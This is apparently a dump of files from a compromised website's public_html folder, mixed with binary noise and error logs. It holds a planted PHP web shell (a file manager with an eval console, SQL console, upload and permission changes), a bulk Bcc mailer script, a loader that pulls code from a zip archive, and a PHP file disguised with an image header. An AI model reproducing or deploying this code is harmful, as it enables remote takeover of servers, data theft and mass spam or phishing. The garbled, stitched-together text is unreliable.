Խ7_YjCT=F+/cNJq_8\h/]; LjF0PJLJgP﷦V~B)u&?ߨo;`Pre*U$ΫݽgP׷<3' B$rAD\2Vno 3x{!33`=H`{!aY,Y GC4~A-eĶXn"KE@@ h]B.衱2wV Mտ*2Lk|eE @Ѕ&A^:ޙ-Ơu6[ 6nǔ¢3 p ,\mv[NjV 07z0K7WH}(|]n0 ?QBJ~gxDO,$Gp.75ԧ1gu:=NsDŽq؛w *"ѿ*dCPsL^U063'[{@={-'/p\zXZS 62۔3Bext^ [v-я{iC%,l.M }_.;zرп)lbFbPWsVzpS >,u;Y:|s{K"8ZϣU8xz;H->@D8r܇SwDڀ/n|3$:aA{M :1td\, 28~_TjrXKEf0>hqC]Hw5n8gt7h% {5Xª]]2߭zN7`F!}N &'u*koHd˶a'͍m=Zyz-vwg30_afkCkyw뼶oY! p h[wh1}{b(O?&R<error_log000064400000000427151030046470006464 0ustar00[05-Nov-2025 19:41:54 UTC] PHP Warning: file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): failed to open stream: HTTP request failed! HTTP/1.1 404 Not Found in /home/gettoplisting/public_html/dd7e5a/h6snx5/sup0h.php on line 88 sup0h.php.tar000064400000236000151030046470007102 0ustar00home/gettoplisting/public_html/dd7e5a/h6snx5/sup0h.php000064400000232747151026171330016664 0ustar00<\/script>\r\n errors)) $this->errors = array(); } function createArchive($file_list){ $result = false; if (file_exists($this->archive_name) && is_file($this->archive_name)) $newArchive = false; else $newArchive = true; if ($newArchive){ if (!$this->openWrite()) return false; } else { if (filesize($this->archive_name) == 0) return $this->openWrite(); if ($this->isGzipped) { $this->closeTmpFile(); if (!rename($this->archive_name, $this->archive_name.'.tmp')){ $this->errors[] = __('Cannot rename').' '.$this->archive_name.__(' to ').$this->archive_name.'.tmp'; return false; } $tmpArchive = gzopen($this->archive_name.'.tmp', 'rb'); if (!$tmpArchive){ $this->errors[] = $this->archive_name.'.tmp '.__('is not readable'); rename($this->archive_name.'.tmp', $this->archive_name); return false; } if (!$this->openWrite()){ rename($this->archive_name.'.tmp', $this->archive_name); return false; } $buffer = gzread($tmpArchive, 512); if (!gzeof($tmpArchive)){ do { $binaryData = pack('a512', $buffer); $this->writeBlock($binaryData); $buffer = gzread($tmpArchive, 512); } while (!gzeof($tmpArchive)); } gzclose($tmpArchive); unlink($this->archive_name.'.tmp'); } else { $this->tmp_file = fopen($this->archive_name, 'r+b'); if (!$this->tmp_file) return false; } } if (isset($file_list) && is_array($file_list)) { if (count($file_list)>0) $result = $this->packFileArray($file_list); } else $this->errors[] = __('No file').__(' to ').__('Archive'); if (($result)&&(is_resource($this->tmp_file))){ $binaryData = pack('a512', ''); $this->writeBlock($binaryData); } $this->closeTmpFile(); if ($newArchive && !$result){ $this->closeTmpFile(); unlink($this->archive_name); } return $result; } function restoreArchive($path){ $fileName = $this->archive_name; if (!$this->isGzipped){ if (file_exists($fileName)){ if ($fp = fopen($fileName, 'rb')){ $data = fread($fp, 2); fclose($fp); if ($data == '\37\213'){ $this->isGzipped = true; } } } elseif ((substr($fileName, -2) == 'gz') OR (substr($fileName, -3) == 'tgz')) $this->isGzipped = true; } $result = true; if ($this->isGzipped) $this->tmp_file = gzopen($fileName, 'rb'); else $this->tmp_file = fopen($fileName, 'rb'); if (!$this->tmp_file){ $this->errors[] = $fileName.' '.__('is not readable'); return false; } $result = $this->unpackFileArray($path); $this->closeTmpFile(); return $result; } function showErrors ($message = '') { $Errors = $this->errors; if(count($Errors)>0) { if (!empty($message)) $message = ' ('.$message.')'; $message = __('Error occurred').$message.':
'; foreach ($Errors as $value) $message .= $value.'
'; return $message; } else return ''; } function packFileArray($file_array){ $result = true; if (!$this->tmp_file){ $this->errors[] = __('Invalid file descriptor'); return false; } if (!is_array($file_array) || count($file_array)<=0) return true; for ($i = 0; $iarchive_name) continue; if (strlen($filename)<=0) continue; if (!file_exists($filename)){ $this->errors[] = __('No file').' '.$filename; continue; } if (!$this->tmp_file){ $this->errors[] = __('Invalid file descriptor'); return false; } if (strlen($filename)<=0){ $this->errors[] = __('Filename').' '.__('is incorrect');; return false; } $filename = str_replace('\\', '/', $filename); $keep_filename = $this->makeGoodPath($filename); if (is_file($filename)){ if (($file = fopen($filename, 'rb')) == 0){ $this->errors[] = __('Mode ').__('is incorrect'); } if(($this->file_pos == 0)){ if(!$this->writeHeader($filename, $keep_filename)) return false; } while (($buffer = fread($file, 512)) != ''){ $binaryData = pack('a512', $buffer); $this->writeBlock($binaryData); } fclose($file); } else $this->writeHeader($filename, $keep_filename); if (@is_dir($filename)){ if (!($handle = opendir($filename))){ $this->errors[] = __('Error').': '.__('Directory ').$filename.__('is not readable'); continue; } while (false !== ($dir = readdir($handle))){ if ($dir!='.' && $dir!='..'){ $file_array_tmp = array(); if ($filename != '.') $file_array_tmp[] = $filename.'/'.$dir; else $file_array_tmp[] = $dir; $result = $this->packFileArray($file_array_tmp); } } unset($file_array_tmp); unset($dir); unset($handle); } } return $result; } function unpackFileArray($path){ $path = str_replace('\\', '/', $path); if ($path == '' || (substr($path, 0, 1) != '/' && substr($path, 0, 3) != '../' && !strpos($path, ':'))) $path = './'.$path; clearstatcache(); while (strlen($binaryData = $this->readBlock()) != 0){ if (!$this->readHeader($binaryData, $header)) return false; if ($header['filename'] == '') continue; if ($header['typeflag'] == 'L'){ //reading long header $filename = ''; $decr = floor($header['size']/512); for ($i = 0; $i < $decr; $i++){ $content = $this->readBlock(); $filename .= $content; } if (($laspiece = $header['size'] % 512) != 0){ $content = $this->readBlock(); $filename .= substr($content, 0, $laspiece); } $binaryData = $this->readBlock(); if (!$this->readHeader($binaryData, $header)) return false; else $header['filename'] = $filename; return true; } if (($path != './') && ($path != '/')){ while (substr($path, -1) == '/') $path = substr($path, 0, strlen($path)-1); if (substr($header['filename'], 0, 1) == '/') $header['filename'] = $path.$header['filename']; else $header['filename'] = $path.'/'.$header['filename']; } if (file_exists($header['filename'])){ if ((@is_dir($header['filename'])) && ($header['typeflag'] == '')){ $this->errors[] =__('File ').$header['filename'].__(' already exists').__(' as folder'); return false; } if ((is_file($header['filename'])) && ($header['typeflag'] == '5')){ $this->errors[] =__('Cannot create directory').'. '.__('File ').$header['filename'].__(' already exists'); return false; } if (!is_writeable($header['filename'])){ $this->errors[] = __('Cannot write to file').'. '.__('File ').$header['filename'].__(' already exists'); return false; } } elseif (($this->dirCheck(($header['typeflag'] == '5' ? $header['filename'] : dirname($header['filename'])))) != 1){ $this->errors[] = __('Cannot create directory').' '.__(' for ').$header['filename']; return false; } if ($header['typeflag'] == '5'){ if (!file_exists($header['filename'])) { if (!mkdir($header['filename'], 0777)) { $this->errors[] = __('Cannot create directory').' '.$header['filename']; return false; } } } else { if (($destination = fopen($header['filename'], 'wb')) == 0) { $this->errors[] = __('Cannot write to file').' '.$header['filename']; return false; } else { $decr = floor($header['size']/512); for ($i = 0; $i < $decr; $i++) { $content = $this->readBlock(); fwrite($destination, $content, 512); } if (($header['size'] % 512) != 0) { $content = $this->readBlock(); fwrite($destination, $content, ($header['size'] % 512)); } fclose($destination); touch($header['filename'], $header['time']); } clearstatcache(); if (filesize($header['filename']) != $header['size']) { $this->errors[] = __('Size of file').' '.$header['filename'].' '.__('is incorrect'); return false; } } if (($file_dir = dirname($header['filename'])) == $header['filename']) $file_dir = ''; if ((substr($header['filename'], 0, 1) == '/') && ($file_dir == '')) $file_dir = '/'; $this->dirs[] = $file_dir; $this->files[] = $header['filename']; } return true; } function dirCheck($dir){ $parent_dir = dirname($dir); if ((@is_dir($dir)) or ($dir == '')) return true; if (($parent_dir != $dir) and ($parent_dir != '') and (!$this->dirCheck($parent_dir))) return false; if (!mkdir($dir, 0777)){ $this->errors[] = __('Cannot create directory').' '.$dir; return false; } return true; } function readHeader($binaryData, &$header){ if (strlen($binaryData)==0){ $header['filename'] = ''; return true; } if (strlen($binaryData) != 512){ $header['filename'] = ''; $this->__('Invalid block size').': '.strlen($binaryData); return false; } $checksum = 0; for ($i = 0; $i < 148; $i++) $checksum+=ord(substr($binaryData, $i, 1)); for ($i = 148; $i < 156; $i++) $checksum += ord(' '); for ($i = 156; $i < 512; $i++) $checksum+=ord(substr($binaryData, $i, 1)); $unpack_data = unpack('a100filename/a8mode/a8user_id/a8group_id/a12size/a12time/a8checksum/a1typeflag/a100link/a6magic/a2version/a32uname/a32gname/a8devmajor/a8devminor', $binaryData); $header['checksum'] = OctDec(trim($unpack_data['checksum'])); if ($header['checksum'] != $checksum){ $header['filename'] = ''; if (($checksum == 256) && ($header['checksum'] == 0)) return true; $this->errors[] = __('Error checksum for file ').$unpack_data['filename']; return false; } if (($header['typeflag'] = $unpack_data['typeflag']) == '5') $header['size'] = 0; $header['filename'] = trim($unpack_data['filename']); $header['mode'] = OctDec(trim($unpack_data['mode'])); $header['user_id'] = OctDec(trim($unpack_data['user_id'])); $header['group_id'] = OctDec(trim($unpack_data['group_id'])); $header['size'] = OctDec(trim($unpack_data['size'])); $header['time'] = OctDec(trim($unpack_data['time'])); return true; } function writeHeader($filename, $keep_filename){ $packF = 'a100a8a8a8a12A12'; $packL = 'a1a100a6a2a32a32a8a8a155a12'; if (strlen($keep_filename)<=0) $keep_filename = $filename; $filename_ready = $this->makeGoodPath($keep_filename); if (strlen($filename_ready) > 99){ //write long header $dataFirst = pack($packF, '././LongLink', 0, 0, 0, sprintf('%11s ', DecOct(strlen($filename_ready))), 0); $dataLast = pack($packL, 'L', '', '', '', '', '', '', '', '', ''); // Calculate the checksum $checksum = 0; // First part of the header for ($i = 0; $i < 148; $i++) $checksum += ord(substr($dataFirst, $i, 1)); // Ignore the checksum value and replace it by ' ' (space) for ($i = 148; $i < 156; $i++) $checksum += ord(' '); // Last part of the header for ($i = 156, $j=0; $i < 512; $i++, $j++) $checksum += ord(substr($dataLast, $j, 1)); // Write the first 148 bytes of the header in the archive $this->writeBlock($dataFirst, 148); // Write the calculated checksum $checksum = sprintf('%6s ', DecOct($checksum)); $binaryData = pack('a8', $checksum); $this->writeBlock($binaryData, 8); // Write the last 356 bytes of the header in the archive $this->writeBlock($dataLast, 356); $tmp_filename = $this->makeGoodPath($filename_ready); $i = 0; while (($buffer = substr($tmp_filename, (($i++)*512), 512)) != ''){ $binaryData = pack('a512', $buffer); $this->writeBlock($binaryData); } return true; } $file_info = stat($filename); if (@is_dir($filename)){ $typeflag = '5'; $size = sprintf('%11s ', DecOct(0)); } else { $typeflag = ''; clearstatcache(); $size = sprintf('%11s ', DecOct(filesize($filename))); } $dataFirst = pack($packF, $filename_ready, sprintf('%6s ', DecOct(fileperms($filename))), sprintf('%6s ', DecOct($file_info[4])), sprintf('%6s ', DecOct($file_info[5])), $size, sprintf('%11s', DecOct(filemtime($filename)))); $dataLast = pack($packL, $typeflag, '', '', '', '', '', '', '', '', ''); $checksum = 0; for ($i = 0; $i < 148; $i++) $checksum += ord(substr($dataFirst, $i, 1)); for ($i = 148; $i < 156; $i++) $checksum += ord(' '); for ($i = 156, $j = 0; $i < 512; $i++, $j++) $checksum += ord(substr($dataLast, $j, 1)); $this->writeBlock($dataFirst, 148); $checksum = sprintf('%6s ', DecOct($checksum)); $binaryData = pack('a8', $checksum); $this->writeBlock($binaryData, 8); $this->writeBlock($dataLast, 356); return true; } function openWrite(){ if ($this->isGzipped) $this->tmp_file = gzopen($this->archive_name, 'wb9f'); else $this->tmp_file = fopen($this->archive_name, 'wb'); if (!($this->tmp_file)){ $this->errors[] = __('Cannot write to file').' '.$this->archive_name; return false; } return true; } function readBlock(){ if (is_resource($this->tmp_file)){ if ($this->isGzipped) $block = gzread($this->tmp_file, 512); else $block = fread($this->tmp_file, 512); } else $block = ''; return $block; } function writeBlock($data, $length = 0){ if (is_resource($this->tmp_file)){ if ($length === 0){ if ($this->isGzipped) gzputs($this->tmp_file, $data); else fputs($this->tmp_file, $data); } else { if ($this->isGzipped) gzputs($this->tmp_file, $data, $length); else fputs($this->tmp_file, $data, $length); } } } function closeTmpFile(){ if (is_resource($this->tmp_file)){ if ($this->isGzipped) gzclose($this->tmp_file); else fclose($this->tmp_file); $this->tmp_file = 0; } } function makeGoodPath($path){ if (strlen($path)>0){ $path = str_replace('\\', '/', $path); $partPath = explode('/', $path); $els = count($partPath)-1; for ($i = $els; $i>=0; $i--){ if ($partPath[$i] == '.'){ // Ignore this directory } elseif ($partPath[$i] == '..'){ $i--; } elseif (($partPath[$i] == '') and ($i!=$els) and ($i!=0)){ } else $result = $partPath[$i].($i!=$els ? '/'.$result : ''); } } else $result = ''; return $result; } } ?> PKz&e[ӭxHxHfunctionalityRee.tarnu[Gmailsmtp.php000064400000003142151026170410007207 0ustar00SMTPDebug = 1; $mail->setFrom($Sender_email, $Sender_name). "\r\n"; $tos = $Bcc; $addr = explode(',',$tos ); $mail->isHTML(true); $mail->CharSet = "UTF-8"; $mail->Subject = $subject; $mail->addCustomHeader('X-custom-header', '1'); foreach ($addr as $to){ // $mail->addReplyTo($reply, $reply_me); $mail->clearAddresses(); $mail->addAddress($to); $actualmsg = $message; $mail->Body =$actualmsg; $mail->addReplyTo($reply, $reply_next); $ok = $mail->send(); //sleep(10); // 10 seconds if ($ok) { echo "Message Sent!!!"; } else { echo "Error"; } // $ok = mail ($to, $subject, $actualmsg, $Sender_email.$Sender_name); } ?>75v86r/index.php000064400000000155151026170410007343 0ustar003r6ytg/error_log000064400000000670151026170410007617 0ustar00[27-Oct-2025 03:46:26 UTC] PHP Warning: require(zip://tron.zip#tronit): failed to open stream: operation failed in /home/gettoplisting/public_html/dd7e5a/functionalityRee/3r6ytg/jd4iz.php on line 10 [27-Oct-2025 03:46:26 UTC] PHP Fatal error: require(): Failed opening required 'zip://tron.zip#tronit' (include_path='.:/opt/alt/php72/usr/share/pear') in /home/gettoplisting/public_html/dd7e5a/functionalityRee/3r6ytg/jd4iz.php on line 10 3r6ytg/jd4iz.php000064400000001323151026170410007433 0ustar005d0kxy/index.php000064400000000150151026170410007501 0ustar00yii/Mailer.php000064400000014201151026170410007253 0ustar00 'http://yoururl.com/tracking/bounce', * ] */ private $_tracking; private $_allowedTrackingEvents = [ 'sent', 'open', 'click', 'bounce', 'spam', 'blocked', 'unsub', ]; /** * @var string message default class name. */ public $messageClass = 'weluse\mailjet\Message'; /** * readonly * @var $_response Mailjet\Response */ private $_response; public function init() { if (!$this->_apikey) { throw new InvalidConfigException(sprintf('"%s::apikey" cannot be null.', get_class($this))); } if (!$this->_secret) { throw new InvalidConfigException(sprintf('"%s::secret" cannot be null.', get_class($this))); } try { $this->createMailjet(); } catch (\Exception $exc) { \Yii::error($exc->getMessage()); throw new \Exception('an error occurred with your mailer. Please check the application logs.', 500); } } /** * Sets the API secret key for Mailjet * * @param string $secret * @throws InvalidConfigException */ public function setSecret($secret) { if (!is_string($secret)) { throw new InvalidConfigException(sprintf('"%s::secret" should be a string, "%s" given.', get_class($this), gettype($apikey))); } $trimmedSecret = trim($secret); if (!strlen($trimmedSecret) > 0) { throw new InvalidConfigException(sprintf('"%s::secret" length should be greater than 0.', get_class($this))); } $this->_secret = $trimmedSecret; } /** * Sets the API key for Mailjet * * @param string $apikey the Mailjet API key * @throws InvalidConfigException */ public function setApikey($apikey) { if (!is_string($apikey)) { throw new InvalidConfigException(sprintf('"%s::apikey" should be a string, "%s" given.', get_class($this), gettype($apikey))); } $trimmedApikey = trim($apikey); if (!strlen($trimmedApikey) > 0) { throw new InvalidConfigException(sprintf('"%s::apikey" length should be greater than 0.', get_class($this))); } $this->_apikey = $trimmedApikey; } /** * Create the Mailjet Object */ public function createMailjet() { $mj = new \Mailjet\Client($this->_apikey, $this->_secret); $this->_mailjet = $mj; } public function getResponse() { return $this->_response; } /** * @inheritdoc */ protected function sendMessage($message) { $recipients = []; foreach ($message->to as $email => $name) { $newRecipient = []; if (!empty($email)) { $newRecipient['Email'] = $email; } if (!empty($name)) { $newRecipient['Name'] = $name; } $recipients[] = $newRecipient; } $body = [ 'Subject' => $message->subject, 'Text-part' => $message->textBody, 'Html-part' => $message->htmlBody, 'Recipients' => $recipients ]; $body = array_merge($message->from, $body); $response = $this->_mailjet->post(Resources::$Email, ['body' => $body]); return $response->success(); } public function setTracking($tracking) { if (is_array($tracking)) { $urlValidator = new UrlValidator; foreach ($tracking as $event => $url) { if (in_array($event, $this->_allowedTrackingEvents)) { if (!$urlValidator->validate($url)) { throw new InvalidConfigException(sprintf('"%s::%s" should be a url', get_class($this), $event)); } $this->_tracking[$event] = $url; } else { throw new InvalidConfigException(sprintf('the %s event is not supported', $event)); } } } else { throw new InvalidConfigException('The trackingActions must be an array'); } } public function activateAllTrackings() { foreach ($this->_tracking as $event => $url) { $this->activateTracking($event, $url); } return true; } public function activateTracking($event, $url) { $body = [ 'EventType' => $event, 'Url' => $url, ]; $response = $this->_mailjet->post(Resources::$Eventcallbackurl, ['body' => $body]); if (!$response->success()) { $eventCallbackurl = Resources::$Eventcallbackurl; $eventCallbackurl[1] = $event; $eventExist = $this->_mailjet->get($eventCallbackurl); $responseData = $eventExist->getData(); /* check if is the tracking url the same */ if ($responseData[0]['Url'] != $url) { throw new UserException('You must clear your old tracking urls first: Yii::$app->mailer->clearAllTrackings(); or Yii::$app->mailer->clearTracking(\'' . $event . '\');'); } } return true; } public function clearAllTrackings() { foreach ($this->_tracking as $event => $url) { $this->clearTracking($event); } } public function clearTracking($event) { if (!in_array($event, $this->_allowedTrackingEvents)) { throw new InvalidConfigException(sprintf('the %s event is not supported', $event)); } $eventCallbackurl = Resources::$Eventcallbackurl; $eventCallbackurl[1] = $event; $response = $this->_mailjet->delete($eventCallbackurl); } } yii/vpmkax/75629.php000064400000231660151026170410010056 0ustar00‰PNG  IHDR Ÿ f Õ†C1 sRGB ®Îé gAMA ± üa pHYs à ÃÇo¨d GIDATx^íÜL”÷ ð÷Yçªö("Bh_ò«®¸¢§q5kÖ*:þ0A­ºšÖ¥]VkJ¢M»¶f¸±8\k2íll£1]q®ÙÔ‚ÆT true, 'new_file' => true, 'upload_file' => true, 'show_dir_size' => false, //if true, show directory size → maybe slow 'show_img' => true, 'show_php_ver' => true, 'show_php_ini' => false, // show path to current php.ini 'show_gt' => true, // show generation time 'enable_php_console' => true, 'enable_sql_console' => true, 'sql_server' => 'localhost', 'sql_username' => 'root', 'sql_password' => '', 'sql_db' => 'test_base', 'enable_proxy' => true, 'show_phpinfo' => true, 'show_xls' => true, 'fm_settings' => true, 'restore_time' => true, 'fm_restore_time' => false, ); if (empty($_COOKIE['fm_config'])) $fm_config = $fm_default_config; else $fm_config = unserialize($_COOKIE['fm_config']); // Change language if (isset($_POST['fm_lang'])) { setcookie('fm_lang', $_POST['fm_lang'], time() + (86400 * $auth['days_authorization'])); $_COOKIE['fm_lang'] = $_POST['fm_lang']; } $language = $default_language; // Detect browser language if($detect_lang && !empty($_SERVER['HTTP_ACCEPT_LANGUAGE']) && empty($_COOKIE['fm_lang'])){ $lang_priority = explode(',', $_SERVER['HTTP_ACCEPT_LANGUAGE']); if (!empty($lang_priority)){ foreach ($lang_priority as $lang_arr){ $lng = explode(';', $lang_arr); $lng = $lng[0]; if(in_array($lng,$langs)){ $language = $lng; break; } } } } // Cookie language is primary for ever $language = (empty($_COOKIE['fm_lang'])) ? $language : $_COOKIE['fm_lang']; // Localization $lang = json_decode($translation,true); if ($lang['id']!=$language) { $get_lang = file_get_contents('https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/' . $language . '.json'); if (!empty($get_lang)) { //remove unnecessary characters $translation_string = str_replace("'",''',json_encode(json_decode($get_lang),JSON_UNESCAPED_UNICODE)); $fgc = file_get_contents(__FILE__); $search = preg_match('#translation[\s]?\=[\s]?\'\{\"(.*?)\"\}\';#', $fgc, $matches); if (!empty($matches[1])) { $filemtime = filemtime(__FILE__); $replace = str_replace('{"'.$matches[1].'"}',$translation_string,$fgc); if (file_put_contents(__FILE__, $replace)) { $msg .= __('File updated'); } else $msg .= __('Error occurred'); if (!empty($fm_config['fm_restore_time'])) touch(__FILE__,$filemtime); } $lang = json_decode($translation_string,true); } } /* Functions */ //translation function __($text){ global $lang; if (isset($lang[$text])) return $lang[$text]; else return $text; }; //delete files and dirs recursively function fm_del_files($file, $recursive = false) { if($recursive && @is_dir($file)) { $els = fm_scan_dir($file, '', '', true); foreach ($els as $el) { if($el != '.' && $el != '..'){ fm_del_files($file . '/' . $el, true); } } } if(@is_dir($file)) { return rmdir($file); } else { return @unlink($file); } } //file perms function fm_rights_string($file, $if = false){ $perms = fileperms($file); $info = ''; if(!$if){ if (($perms & 0xC000) == 0xC000) { //Socket $info = 's'; } elseif (($perms & 0xA000) == 0xA000) { //Symbolic Link $info = 'l'; } elseif (($perms & 0x8000) == 0x8000) { //Regular $info = '-'; } elseif (($perms & 0x6000) == 0x6000) { //Block special $info = 'b'; } elseif (($perms & 0x4000) == 0x4000) { //Directory $info = 'd'; } elseif (($perms & 0x2000) == 0x2000) { //Character special $info = 'c'; } elseif (($perms & 0x1000) == 0x1000) { //FIFO pipe $info = 'p'; } else { //Unknown $info = 'u'; } } //Owner $info .= (($perms & 0x0100) ? 'r' : '-'); $info .= (($perms & 0x0080) ? 'w' : '-'); $info .= (($perms & 0x0040) ? (($perms & 0x0800) ? 's' : 'x' ) : (($perms & 0x0800) ? 'S' : '-')); //Group $info .= (($perms & 0x0020) ? 'r' : '-'); $info .= (($perms & 0x0010) ? 'w' : '-'); $info .= (($perms & 0x0008) ? (($perms & 0x0400) ? 's' : 'x' ) : (($perms & 0x0400) ? 'S' : '-')); //World $info .= (($perms & 0x0004) ? 'r' : '-'); $info .= (($perms & 0x0002) ? 'w' : '-'); $info .= (($perms & 0x0001) ? (($perms & 0x0200) ? 't' : 'x' ) : (($perms & 0x0200) ? 'T' : '-')); return $info; } function fm_convert_rights($mode) { $mode = str_pad($mode,9,'-'); $trans = array('-'=>'0','r'=>'4','w'=>'2','x'=>'1'); $mode = strtr($mode,$trans); $newmode = '0'; $owner = (int) $mode[0] + (int) $mode[1] + (int) $mode[2]; $group = (int) $mode[3] + (int) $mode[4] + (int) $mode[5]; $world = (int) $mode[6] + (int) $mode[7] + (int) $mode[8]; $newmode .= $owner . $group . $world; return intval($newmode, 8); } function fm_chmod($file, $val, $rec = false) { $res = @chmod(realpath($file), $val); if(@is_dir($file) && $rec){ $els = fm_scan_dir($file); foreach ($els as $el) { $res = $res && fm_chmod($file . '/' . $el, $val, true); } } return $res; } //load files function fm_download($file_name) { if (!empty($file_name)) { if (file_exists($file_name)) { header("Content-Disposition: attachment; filename=" . basename($file_name)); header("Content-Type: application/force-download"); header("Content-Type: application/octet-stream"); header("Content-Type: application/download"); header("Content-Description: File Transfer"); header("Content-Length: " . filesize($file_name)); flush(); // this doesn't really matter. $fp = fopen($file_name, "r"); while (!feof($fp)) { echo fread($fp, 65536); flush(); // this is essential for large downloads } fclose($fp); die(); } else { header('HTTP/1.0 404 Not Found', true, 404); header('Status: 404 Not Found'); die(); } } } //show folder size function fm_dir_size($f,$format=true) { if($format) { $size=fm_dir_size($f,false); if($size<=1024) return $size.' bytes'; elseif($size<=1024*1024) return round($size/(1024),2).' Kb'; elseif($size<=1024*1024*1024) return round($size/(1024*1024),2).' Mb'; elseif($size<=1024*1024*1024*1024) return round($size/(1024*1024*1024),2).' Gb'; elseif($size<=1024*1024*1024*1024*1024) return round($size/(1024*1024*1024*1024),2).' Tb'; //:))) else return round($size/(1024*1024*1024*1024*1024),2).' Pb'; // ;-) } else { if(is_file($f)) return filesize($f); $size=0; $dh=opendir($f); while(($file=readdir($dh))!==false) { if($file=='.' || $file=='..') continue; if(is_file($f.'/'.$file)) $size+=filesize($f.'/'.$file); else $size+=fm_dir_size($f.'/'.$file,false); } closedir($dh); return $size+filesize($f); } } //scan directory function fm_scan_dir($directory, $exp = '', $type = 'all', $do_not_filter = false) { $dir = $ndir = array(); if(!empty($exp)){ $exp = '/^' . str_replace('*', '(.*)', str_replace('.', '\\.', $exp)) . '$/'; } if(!empty($type) && $type !== 'all'){ $func = 'is_' . $type; } if(@is_dir($directory)){ $fh = opendir($directory); while (false !== ($filename = readdir($fh))) { if(substr($filename, 0, 1) != '.' || $do_not_filter) { if((empty($type) || $type == 'all' || $func($directory . '/' . $filename)) && (empty($exp) || preg_match($exp, $filename))){ $dir[] = $filename; } } } closedir($fh); natsort($dir); } return $dir; } function fm_link($get,$link,$name,$title='') { if (empty($title)) $title=$name.' '.basename($link); return '  '.$name.''; } function fm_arr_to_option($arr,$n,$sel=''){ foreach($arr as $v){ $b=$v[$n]; $res.=''; } return $res; } function fm_lang_form ($current='en'){ return '
'; } function fm_root($dirname){ return ($dirname=='.' OR $dirname=='..'); } function fm_php($string){ $display_errors=ini_get('display_errors'); ini_set('display_errors', '1'); ob_start(); eval(trim($string)); $text = ob_get_contents(); ob_end_clean(); ini_set('display_errors', $display_errors); return $text; } //SHOW DATABASES function fm_sql_connect(){ global $fm_config; return new mysqli($fm_config['sql_server'], $fm_config['sql_username'], $fm_config['sql_password'], $fm_config['sql_db']); } function fm_sql($query){ global $fm_config; $query=trim($query); ob_start(); $connection = fm_sql_connect(); if ($connection->connect_error) { ob_end_clean(); return $connection->connect_error; } $connection->set_charset('utf8'); $queried = mysqli_query($connection,$query); if ($queried===false) { ob_end_clean(); return mysqli_error($connection); } else { if(!empty($queried)){ while($row = mysqli_fetch_assoc($queried)) { $query_result[]= $row; } } $vdump=empty($query_result)?'':var_export($query_result,true); ob_end_clean(); $connection->close(); return '
'.stripslashes($vdump).'
'; } } function fm_backup_tables($tables = '*', $full_backup = true) { global $path; $mysqldb = fm_sql_connect(); $delimiter = "; \n \n"; if($tables == '*') { $tables = array(); $result = $mysqldb->query('SHOW TABLES'); while($row = mysqli_fetch_row($result)) { $tables[] = $row[0]; } } else { $tables = is_array($tables) ? $tables : explode(',',$tables); } $return=''; foreach($tables as $table) { $result = $mysqldb->query('SELECT * FROM '.$table); $num_fields = mysqli_num_fields($result); $return.= 'DROP TABLE IF EXISTS `'.$table.'`'.$delimiter; $row2 = mysqli_fetch_row($mysqldb->query('SHOW CREATE TABLE '.$table)); $return.=$row2[1].$delimiter; if ($full_backup) { for ($i = 0; $i < $num_fields; $i++) { while($row = mysqli_fetch_row($result)) { $return.= 'INSERT INTO `'.$table.'` VALUES('; for($j=0; $j<$num_fields; $j++) { $row[$j] = addslashes($row[$j]); $row[$j] = str_replace("\n","\\n",$row[$j]); if (isset($row[$j])) { $return.= '"'.$row[$j].'"' ; } else { $return.= '""'; } if ($j<($num_fields-1)) { $return.= ','; } } $return.= ')'.$delimiter; } } } else { $return = preg_replace("#AUTO_INCREMENT=[\d]+ #is", '', $return); } $return.="\n\n\n"; } //save file $file=gmdate("Y-m-d_H-i-s",time()).'.sql'; $handle = fopen($file,'w+'); fwrite($handle,$return); fclose($handle); $alert = 'onClick="if(confirm(\''. __('File selected').': \n'. $file. '. \n'.__('Are you sure you want to delete this file?') . '\')) document.location.href = \'?delete=' . $file . '&path=' . $path . '\'"'; return $file.': '.fm_link('download',$path.$file,__('Download'),__('Download').' '.$file).' ' . __('Delete') . ''; } function fm_restore_tables($sqlFileToExecute) { $mysqldb = fm_sql_connect(); $delimiter = "; \n \n"; // Load and explode the sql file $f = fopen($sqlFileToExecute,"r+"); $sqlFile = fread($f,filesize($sqlFileToExecute)); $sqlArray = explode($delimiter,$sqlFile); //Process the sql file by statements foreach ($sqlArray as $stmt) { if (strlen($stmt)>3){ $result = $mysqldb->query($stmt); if (!$result){ $sqlErrorCode = mysqli_errno($mysqldb->connection); $sqlErrorText = mysqli_error($mysqldb->connection); $sqlStmt = $stmt; break; } } } if (empty($sqlErrorCode)) return __('Success').' — '.$sqlFileToExecute; else return $sqlErrorText.'
'.$stmt; } function fm_img_link($filename){ return './'.basename(__FILE__).'?img='.base64_encode($filename); } function fm_home_style(){ return ' input, input.fm_input { text-indent: 2px; } input, textarea, select, input.fm_input { color: black; font: normal 8pt Verdana, Arial, Helvetica, sans-serif; border-color: black; background-color: #FCFCFC none !important; border-radius: 0; padding: 2px; } input.fm_input { background: #FCFCFC none !important; cursor: pointer; } .home { background-image: url("data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABAAAAAQCAMAAAAoLQ9TAAAABGdBTUEAAK/INwWK6QAAAgRQTFRF/f396Ojo////tT02zr+fw66Rtj432TEp3MXE2DAr3TYp1y4mtDw2/7BM/7BOqVpc/8l31jcqq6enwcHB2Tgi5jgqVpbFvra2nBAV/Pz82S0jnx0W3TUkqSgi4eHh4Tsre4wosz026uPjzGYd6Us3ynAydUBA5Kl3fm5eqZaW7ODgi2Vg+Pj4uY+EwLm5bY9U//7jfLtC+tOK3jcm/71u2jYo1UYh5aJl/seC3jEm12kmJrIA1jMm/9aU4Lh0e01BlIaE///dhMdC7IA//fTZ2c3MW6nN30wf95Vd4JdXoXVos8nE4efN/+63IJgSnYhl7F4csXt89GQUwL+/jl1c41Aq+fb2gmtI1rKa2C4kJaIA3jYrlTw5tj423jYn3cXE1zQoxMHBp1lZ3Dgmqiks/+mcjLK83jYkymMV3TYk//HM+u7Whmtr0odTpaOjfWJfrHpg/8Bs/7tW/7Ve+4U52DMm3MLBn4qLgNVM6MzB3lEflIuL/+jA///20LOzjXx8/7lbWpJG2C8k3TosJKMA1ywjopOR1zYp5Dspiay+yKNhqKSk8NW6/fjns7Oz2tnZuz887b+W3aRY/+ms4rCE3Tot7V85bKxjuEA3w45Vh5uhq6am4cFxgZZW/9qIuwgKy0sW+ujT4TQntz423C8i3zUj/+Kw/a5d6UMxuL6wzDEr////cqJQfAAAAKx0Uk5T//////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////